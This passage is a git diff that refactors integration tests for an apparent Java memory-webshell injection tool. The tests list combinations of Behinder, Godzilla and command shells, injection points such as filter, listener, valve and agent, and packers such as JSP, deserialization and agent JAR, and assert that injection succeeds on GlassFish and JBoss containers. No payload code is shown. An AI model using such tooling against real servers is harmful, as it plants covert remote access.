arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -77,7 +77,7 @@ public class GlassFish501ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java index ead139d4..dcedd336 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,36 +42,36 @@ public class GlassFish510ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -85,7 +85,7 @@ public class GlassFish510ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java index 0ebd7acf..cdff5c4c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,30 +43,30 @@ public class GlassFish6ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -78,7 +78,7 @@ public class GlassFish6ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java index 8d85eb7b..24bc12d9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.glassfish; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,21 +43,21 @@ public class GlassFish7ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -69,7 +69,7 @@ public class GlassFish7ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index aa7460f5..ce7e419e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jbossas; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,30 +42,30 @@ public class Jboss423ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -77,7 +77,7 @@ public class Jboss423ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java index 64b9693d..84745780 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.jbossas; -import com.reajason.javaweb.memshell.JbossShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -46,28 +45,28 @@ public class Jboss510ContainerTest { return Stream.of( // arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out // arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), // arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out // arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), // arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out // arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -80,7 +79,7 @@ public class Jboss510ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, 